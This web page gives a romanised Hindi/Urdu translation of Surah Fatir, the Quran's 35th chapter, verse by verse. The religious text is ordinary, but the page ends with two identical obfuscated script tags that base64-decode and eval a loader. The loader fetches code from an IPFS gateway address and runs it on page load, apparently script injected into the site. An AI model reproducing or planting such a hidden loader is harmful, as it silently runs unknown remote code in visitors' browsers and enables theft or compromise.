फ़ातिर
fatir islam dharm ke pavitr granth quran ka 35vaan soora (adhyay) hai jisamean 45 ayatean hoti haian.
35:1- har tarah ki tariph khuda hi ke lie (makhasoos) hai jo sare asaman aur zamin ka paida karane vala pharishtoan ka (apana) qasid banane vala hai jinake do-do aur tin-tin aur char-char par hote haian (makhalooqat ki) paidaish mean jo (munasib) chahata hai badha deta hai beshak khuda har chiz par qadir (v tavana hai).
35:2- logoan ke vaste jab (apani) rahamat (ke daravaje) khol de to koee use jari nahian kar sakata aur jis chiz ko rok le usake bad use koee rok nahian sakata aur vahi har chiz par galib aur dana v bina hakim hai.
35:3- logoan khuda ke ehasanat ko jo usane tum par kie haian yad karo kya khuda ke siva koee aur khalik hai jo asaman aur zamin se tumhari rozi pahuanchata hai usake siva koee mabood qabile parasatish nahian phir tum kidhar bahake chale ja rahe ho.
35:4- aur (ai rasool) agar ye log tumhean jhuthalaean to (kudho nahian) tumase pahale bahutere paigambar (logoan ke hathoan) jhuthalae ja chuke haian aur (akhir) kul umoor ki roojoo to khuda hi ki taraph hai.
35:5- logoan khuda ka (qayamat ka) vayada yaqini bilkul sachcha hai to (kahian) tumhean duniya ki (chand roza) zindagi fareb mean n lae (aisa n ho ki shaitan) tumhean khuda ke bare mean dhokha de.
35:6- beshak shaitan tumhara dushman hai to tum bhi use apana dushaman banae raho vah to apane giroh ko bas isalie bulata hai ki vah log (sab ke sab) jahannumi ban jaean.
35:7- jin logoan ne (duniya mean) kuphr ikhateyar kiya unake lie (akherat mean) sakht azab hai aur jin logoan ne eeman qubool kiya aur achchhe-achchhe kam kie unake lie (gunahoan ki) magapherat aur nihayat achchha badala (behasht) hai.
35:8- to bhala vah shakhs jise us ka bura kam shaitani (agav aau se) achchha kar dikhaya gaya hai au vah use achchha samajhane laga hai (kabhi momin nekokar ke barabar ho sakata hai haragiz nahian) to yaqini (bat) ye hai ki khuda jise chahata hai gumarahi mean chho d deta hai aur jise chahata hai rahe rast par ane (ki taufiq) deta hai to (ai rasool kahian) un (badabakhtoan) par aphasos kar karake tumhare dam n nikal jae jo kuchh ye log karate haian khuda usase khoob vaqif hai.
35:9- aur khuda hi vah (qadir v tavana) hai jo havaoan ko bhejata hai to havaean badaloan ko u dae-u dae phirati hai phir ham us badal ko murda (ufatada) shahar ki taraph haka dete haian phir ham usake zarie se zamin ko usake mar jane ke bad shadab kar dete haian yooan hi (murdoan ko qayamat mean ji uthana hoga).
35:10- jo shakhs ijzat ka khvahaan ho to khuda se maange kyoanki sari ijzat khuda hi ki hai usaki baragah tak achchhi batean (buland hokar) pahuanchatian haian aur achchhe kam ko vah khud buland pharamata hai aur jo log (tumhare khilaph) buri-buri tadabirean karate rahate haian unake lie qayamat mean sakht azab hai aur (akhir) un logoan ki tadabir matiyamet ho jaegi
35:11- aur khuda hi ne tum logoan ko (pahale pahal) mitti se paida kiya phir natafe se phir tumako jo da (nar mada) banaya aur bagair usake ilm (ijazat) ke n koee aurat hamela hoti hai aur n janati hai aur n kisi shakhs ki umr mean jyadati hoti hai aur n kisi ki umr se kami ki jati hai magar vah kitab (lauhe mahaphooz) mean (zaroor) hai beshak ye bat khuda par bahut hi asan hai.
35:12- (usaki kudarat dekho) do samandar bavajood mil jane ke yakasaan nahian ho jate ye (ek to) mitha khush zaeka ki usaka pina suvarat (khushgavar) hai aur ye (doosara) khari k duva hai aur (is ikhatelaph par bhi) tum log donoan se (machhali ka) taro taza gosht (yakasaan) khate ho aur (apane lie zevarat (moti vagairah) nikalate ho jinhean tum pahanate ho aur tum dekhate ho ki kashtiyaan dariya mean (pani ko) pha dati chali jati haian taki usake phajl (v karam tijarat) ki talash karo aur taki tum log shukr karo.
35:13- vahi rat ko (badha ke) din mean dakhil karata hai (to rat badh jati hai) aur vahi din ko (badha ke) rat mean dakhil karata hai (to din badh jata hai aur) usi ne sooraj aur chaand ko apana mutii bana rakha hai ki har ek apane (apane) muayyan (tay) vakt par chala karata hai vahi khuda tumhara paravaradigar hai usi ki salatanat hai aur use chho dakar jin maboodoan ko tum pukarate ho vah chhuvaroan ki guthali ki jhilli ke barabar bhi to ikhateyar nahian rakhate.
35:14- agar tum unako pukaro to vah tumhari pukar ko sunate nahian agar (bifaraze muhal) sunoan bhi to tumhari duaean nahian kubool kar sakate aur qayamat ke din tumhare shirk se inkar kar baitheangean aur vaqiphakar (shakhs ki tarah koee doosara unaki poori halat) tumhean bata nahian sakata.
35:15- logoan tum sab ke sab khuda ke (har vakt) mohataj ho aur (sirph) khuda hi (sabase) beparava sazavare hamd (v sana) hai.
35:16- agar vah chahe to tum logoan ko (adam ke parde mean) le jae aur ek nayi khilaqat la basae.
35:17- aur ye kuchh khuda ke vaste dushavar nahian.
35:18- aur yad rahe ki koee shakhs kisi doosare (ke gunah) ka bojh nahian uthaega aur agar koee (apane gunahoan ka) bhari bojh uthane vala apana bojh uthane ke vaste (kisi ko) bulaega to usake bare mean se kuchh bhi uthaya n jaega agarache (koee kisi ka) karabatadar hi (kyoan n) ho (ai rasool) tum to bas unhian logoan ko dara sakate ho jo be dekhe bhale apane paravaradigar ka khauph rakhate haian aur pabandi se namaz padhate haian aur (yad rakho ki) jo shakhs pak saph rahata hai vah apane hi fayade ke vaste pak saph rahata hai aur (akhirakar sabako hiraphir ke) khuda hi ki taraph jana hai.
35:19- aur andha (qaphir) aur aauankhoan vala (momin kisi tarah) barabar nahian ho sakate.
35:20- aur n aandhera (kuphr) aur ujala (eeman) barabar hai.
35:21- aur n chhaanv (behisht) aur dhoop (dozakh barabar hai).
35:22- aur n zinde (mominin) aur n murdean (qaphir) barabar ho sakate haian aur khuda jise chahata hai achchhi tarah suna (samajha) deta hai aur (ai rasool) jo (kuphfar murdoan ki tarah) qabroan mean haian unhean tum apani (batean) nahian samajha sakate ho.
35:23- tum to bas (ek khuda se) darane vale ho.
35:24- ham hi ne tumako yaqinan quran ke sath khushakhabari dene vala aur darane vala ( paigambar) banakar bheja aur koee ummat (duniya mean).
35:25- aisi nahian guzari ki usake pas (hamara) darane vala paigambar n aya ho aur agar ye log tumhean jhuthalaean to kuchh paravah nahian karo kyoanki inake agaloan ne bhi (apane paigambaroan ko) jhuthalaya hai (halaanki) unake pas unake paigambar vazee v raushan maujije aaur sahife aur raushan kitab lekar ae the.
35:26- phir hamane un logoan ko jo kafir ho baithe le dala to (tumane dekhaki) mera azab (un par) kaisa (sakht hua.
35:27- ab kya tumane is par bhi gaur nahian kiya ki yaqinan khuda hi ne asaman se pani barasaya phir ham (khuda) ne usake zarie se tarah-tarah ki rangatoan ke phal paida kie aur paha doan mean qatat (tuk de raste) haian jinake rang mukhataliph hai kuchh to saphed (burraq) aur kuchh lal (lal) aur kuchh bilkul kale siyah.
35:28- aur isi tarah adamiyoan aur janavaroan aur charapayoan ki bhi rangate tarah-tarah ki haian usake bandoan mean khuda ka khauph karane vale to bas ulema haian beshak khuda (sabase) galib aur bakhshane vala hai.
35:29- beshak jo log Âuda ki kitab padha karate haian aur pabandi se namaz padhate haian aur jo kuchh hamane unhean ata kiya hai usamean se chhipa ke aur dikha ke (khuda ki rah mean) dete haian vah yaqinan aise vyapar ka asara rakhate haian.
35:30- jisaka kabhi tat n ulatega taki khuda unhean unaki mazadooriyaan bharapoor ata kare balki apane phazal (v karam) se use kuchh aur badha dega beshak vah b da bakhshane vala hai (aur) b da qadradan hai.
35:31- aur hamane jo kitab tumhare pas vahi ke zarie se bheji vah bilkul thik hai aur jo (kitabean isase pahale ki) usake samane (maujood) haian unaki tasadiq bhi karati haian - beshak khuda apane bandoan (ke halat) se khoob vaqiph hai (aur) dekh raha hai.
35:32- phir hamane apane bandagan mean se khas unako quran ka varis banaya jinhean (ahal samajhakar) muntakhib kiya kyoanki bandoan mean se kuchh to (napharamani karake) apani jan par sitam dhate haian aur kuchh unamean se (neki badi ke) daramiyan haian aur unamean se kuchh log khuda ke ikhateyar se nekoan mean (auroan se) goya sabakat le ge haian (intekhab v sabaqat) to khuda ka b da phazal hai.
35:33- (aur usaka sila behisht ke) sada bahar bagat haian jinamean ye log dakhil hoange aur unhean vahaan sone ke kangan aur moti pahanae jaeange aur vahaan unaki (mamooli) poshak khalis reshami hogi.
35:34- aur ye log (khushi ke lahaje mean) kaheange khuda ka shukr jisane ham se (har qism ka) ranj v gam door kar diya beshak hamara paravaradigar b da bakhshane vala (aur) qadaradan hai.
35:35- jisane hamako apane phazal (v karam) se hameshagi ke ghar (behisht) mean utara (mehaman kiya) jahaan hamean koee takaliph chhuyegi bhi to nahian aur n koee thakan hi pahuanchegi.
35:36- aur jo log kaphir ho baithe unake lie jahannum ki ag hai n unaki kaza hi aegi ki vah mar jae aur takaliph se najat mile aur n unase unake azab hi mean takhaphiph ki jaegi ham har nashukre ki saza yooan hi kiya karate haian.
35:37- aur ye log dojakh mean (p de) chillaya karegean ki paravaradigar ab hamako (yahaan se) nikal de to jo kuchh ham karate the use chho dakar nek kam kareange (to khuda javab dega ki) kya hamane tumhean itani umrean n di thi ki jinamean jisako jo kuchh soanchana samajhana (manzoor) ho khoob soch samajh le aur (usake alava) tumhare pas (hamara) darane vala (paigambar) bhi pahuanch gaya tha to (apane kie ka maza) chakho kyoanki sarakash logoan ka koee maddagar nahian.
35:38- beshak khuda sare asaman v zamin ki poshida batoan se khoob vaqiph hai vah yaqini diloan ke poshida raz se bakhabar hai.
35:39- vah vahi khuda hai jisane rooe zamin mean tum logoan ko (agaloan ka) janashin banaya phir jo shakhs kafir hoga to usake kufr ka vabal usi par p dega aur kafiroan ko unaka kuphr unake paravaradigar ki baragah mean gazab ke siva kuchh badhaega nahian aur kuphfar ko unaka kufr ghate ke siva kuchh nafa n dega.
35:40- (ai rasool) tum (unase) poochho to ki khuda ke siva apane jin sharikoan ki tum qayadat karate the kya tumane unhean (kuchh) dekha bhi mujhe bhi zara dikhao to ki unhoanne zamin (ki chizoan) se kaun si chiz paida ki ya asamanoan mean kuchh unaka adha sajha hai ya hamane khud unhean koee kitab di hai ki vah usaki dalil rakhate haian (ye sab to kuchh nahian) balki ye zalim ek doosare se (dhokhe aur) phareb hi ka vayada karate haian.
35:41- beshak khuda hi sare asaman aur zamin apani jagah se hat jane se roke hue hai aur agar (pharz kare ki) ye apani jagah se hat jae to phir to usake siva unhean koee rok nahian sakata beshak vah b da burdabar (aur) b da bakhshane vala hai.
35:42- aur ye log to khuda ki b di-b di sakht qasamean kha (kar kahate) the ki beshak agar unake pas koee darane vala (paigambar) aega to vah zaroor har ek ummat se jyada roobasah hoange phir jab unake pas darane vala (rasool) a pahuancha to (un logoan ko) rooe zamin mean sarakashi aur buri-buri tadbirean karane ki vajah se.
35:43- (usake ane se) unaki napharat ko tarakki hi hoti gayi aur budi tadbir (ki buraee) to buri tadbir karane vale hi par p dati hai to (ho n ho) ye log bas agale hi logoan ke baratav ke muntazir haian to (behatar) tum khuda ke dasatoor mean kabhi tabdili n paoge aur khuda ki adat mean haragiz koee tagayyur n paoge.
35:44- to kya un logoan ne rooe zamin par chal phir kar nahian dekha ki jo log unake pahale the aur unase zor v koovat mean bhi kahian badh-chadh ke the phir unaka (nafaramani ki vajah se) kya (kharab) anjam hua aur khuda aisa (gaya guzara) nahian hai ki use koee chiz ajiz kar sake (n itane) asamanoan mean aur n zamin mean beshak vah b da khabaradar (aur) b di (qaboo) kudarat vala hai.
35:45- aur agar (kahian) khuda logoan ki karatootoan ki girapht karata to (jaisi unaki karani hai) rooe zamin par kisi janavar ko baqi n chho data magar vah to ek muqarrar miyad tak logoan ko mohalat deta hai (ki jo karana ho kar lo) phir jab unaka (vah) vakt aa jaega to khuda yaqini taur par apane bandoan (ke hal) ko dekh raha hai (jo jaisa karega vaisa paega).
|
|
|
|
|
|
tika tippani aur sandarbh
bahari k diyaan
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>